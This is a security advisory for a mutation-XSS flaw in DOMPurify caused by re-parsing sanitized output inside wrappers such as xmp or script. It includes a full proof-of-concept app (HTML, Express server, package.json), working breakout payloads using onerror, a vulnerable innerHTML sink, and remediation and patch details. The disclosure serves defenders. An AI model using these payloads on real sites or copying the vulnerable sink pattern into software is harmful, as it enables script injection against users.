GHSA-h8r8-wccr-v5f2 — dompurify
GHSA-h8r8-wccr-v5f2 is a Cross-site Scripting (XSS) vulnerability in dompurify. A fix is available for dompurify — see the affected versions and patch details below.
DOMPurify is vulnerable to mutation-XSS via Re-Contextualization
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-h8r8-wccr-v5f2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
dompurifynpmDescription
Description
A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).
Vulnerability
The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).
PoC
- Start the PoC app:
npm install
npm start
- Open
http://localhost:3001. - Set
Wrapper en sinktoxmp. - Use payload:
<img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
- Click
Sanitize + Render. - Observe:
Sanitized responsestill contains the</xmp>sequence insidealt.- The sink reparses to include
<img src="x" onerror="alert('expoc')">. alert('expoc')is triggered.
- Files:
- index.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>expoc - DOMPurify SSR PoC</title>
<style>
:root {
--bg: #f7f8fb;
--panel: #ffffff;
--line: #d8dce6;
--text: #0f172a;
--muted: #475569;
--accent: #0ea5e9;
}
* {
box-sizing: border-box;
}
body {
margin: 0;
font-family: "SF Mono", Menlo, Consolas, monospace;
color: var(--text);
background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
}
main {
max-width: 980px;
margin: 28px auto;
padding: 0 16px 20px;
}
h1 {
margin: 0 0 10px;
font-size: 1.45rem;
}
p {
margin: 0;
color: var(--muted);
}
.grid {
display: grid;
gap: 14px;
margin-top: 16px;
}
.card {
background: var(--panel);
border: 1px solid var(--line);
border-radius: 12px;
padding: 14px;
}
label {
display: block;
margin-bottom: 7px;
font-size: 0.85rem;
color: var(--muted);
}
textarea,
input,
select,
button {
width: 100%;
border: 1px solid var(--line);
border-radius: 8px;
padding: 9px 10px;
font: inherit;
background: #fff;
}
textarea {
min-height: 110px;
resize: vertical;
}
.row {
display: grid;
grid-template-columns: 1fr 230px;
gap: 12px;
}
button {
cursor: pointer;
background: var(--accent);
color: #fff;
border-color: #0284c7;
}
#sink {
min-height: 90px;
border: 1px dashed #94a3b8;
border-radius: 8px;
padding: 10px;
background: #f8fafc;
}
pre {
margin: 0;
white-space: pre-wrap;
word-break: break-word;
}
.note {
margin-top: 8px;
font-size: 0.85rem;
}
.status-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 8px;
margin-top: 10px;
}
.status-item {
border: 1px solid var(--line);
border-radius: 8px;
padding: 8px 10px;
font-size: 0.85rem;
background: #fff;
}
.status-item.vuln {
border-color: #ef4444;
background: #fef2f2;
}
.status-item.safe {
border-color: #22c55e;
background: #f0fdf4;
}
@media (max-width: 760px) {
.row {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p>
<div class="grid">
<section class="card">
<label for="payload">Payload</label>
<textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
<div class="row" style="margin-top: 10px;">
<div>
<label for="wrapper">Wrapper en sink</label>
<select id="wrapper">
<option value="div">div</option>
<option value="textarea">textarea</option>
<option value="title">title</option>
<option value="style">style</option>
<option value="script" selected>script</option>
<option value="xmp">xmp</option>
<option value="iframe">iframe</option>
<option value="noembed">noembed</option>
<option value="noframes">noframes</option>
<option value="noscript">noscript</option>
</select>
</div>
<div style="display:flex;align-items:end;">
<button id="run" type="button">Sanitize + Render</button>
</div>
</div>
<p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'</code>.</p>
<div class="status-grid">
<div class="status-item vuln">script (vulnerable)</div>
<div class="status-item vuln">xmp (vulnerable)</div>
<div class="status-item vuln">iframe (vulnerable)</div>
<div class="status-item vuln">noembed (vulnerable)</div>
<div class="status-item vuln">noframes (vulnerable)</div>
<div class="status-item vuln">noscript (vulnerable)</div>
<div class="status-item safe">div (no vulnerable)</div>
<div class="status-item safe">textarea (no vulnerable)</div>
<div class="status-item safe">title (no vulnerable)</div>
<div class="status-item safe">style (no vulnerable)</div>
</div>
</section>
<section class="card">
<label>Sanitized response</label>
<pre id="sanitized">(empty)</pre>
</section>
<section class="card">
<label>Sink</label>
<div id="sink"></div>
</section>
</div>
</main>
<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');
run.addEventListener('click', async () => {
const response = await fetch('/sanitize', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ input: payload.value })
});
const data = await response.json();
const sanitized = data.sanitized || '';
const w = wrapper.value;
sanitizedNode.textContent = sanitized;
sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
});
</script>
</body>
</html>
- server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const app = express();
const port = process.env.PORT || 3001;
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));
app.get('/health', (_req, res) => {
res.json({ ok: true, service: 'expoc' });
});
app.post('/sanitize', (req, res) => {
const input = typeof req.body?.input === 'string' ? req.body.input : '';
const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized });
});
app.listen(port, () => {
console.log(`expoc running at http://localhost:${port}`);
});
- package.json
{
"name": "expoc",
"version": "1.0.0",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js",
"dev": "node server.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"dompurify": "^3.3.1",
"express": "^5.2.1",
"jsdom": "^28.1.0"
}
}
Evidence
- PoC
- XSS triggered <img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" />
Why This Happens
This is a mutation-XSS pattern caused by a parse-context mismatch:
- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (
xmpraw-text behavior). - Attacker-controlled sequence (
</xmp>) gains structural meaning in parse 2 and alters DOM structure.
Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.
Remediation Guidance
- Do not concatenate sanitized strings into new HTML wrappers followed by
innerHTML. - Keep the rendering context stable from sanitize to sink.
- Prefer DOM-safe APIs (
textContent,createElement,setAttribute) over string-based HTML composition. - If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (
xmp,script, etc.). - Add regression tests for context-switch/mXSS payloads (including
</xmp>,</noscript>, similar parser-breakout markers).
Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.
Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft
Acknowledgements: Camilo Vera and Cristian Vargas.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | dompurify | all versions | 3.3.2npm install dompurify@3.3.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompurify, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dompurify to 3.3.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h8r8-wccr-v5f2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h8r8-wccr-v5f2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-h8r8-wccr-v5f2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Moderate-impact mutation-XSS vulnerability in DOMPurify allows for arbitrary code execution when sanitized HTML is reinserted into specific parsing contexts. However, Red Hat Hardened Images are not affected by this flaw.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Hardened Images | grafana13-1-main-13.1.3-0.1.1.hum1 | RHSA-2026:54517 |
| Red Hat Hardened Images | grafana12-4-main-12.4.8-0.1.2.hum1 | RHSA-2026:58500 |
Frequently Asked Questions
Is GHSA-h8r8-wccr-v5f2 in your dependencies?
O3 Security finds GHSA-h8r8-wccr-v5f2 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.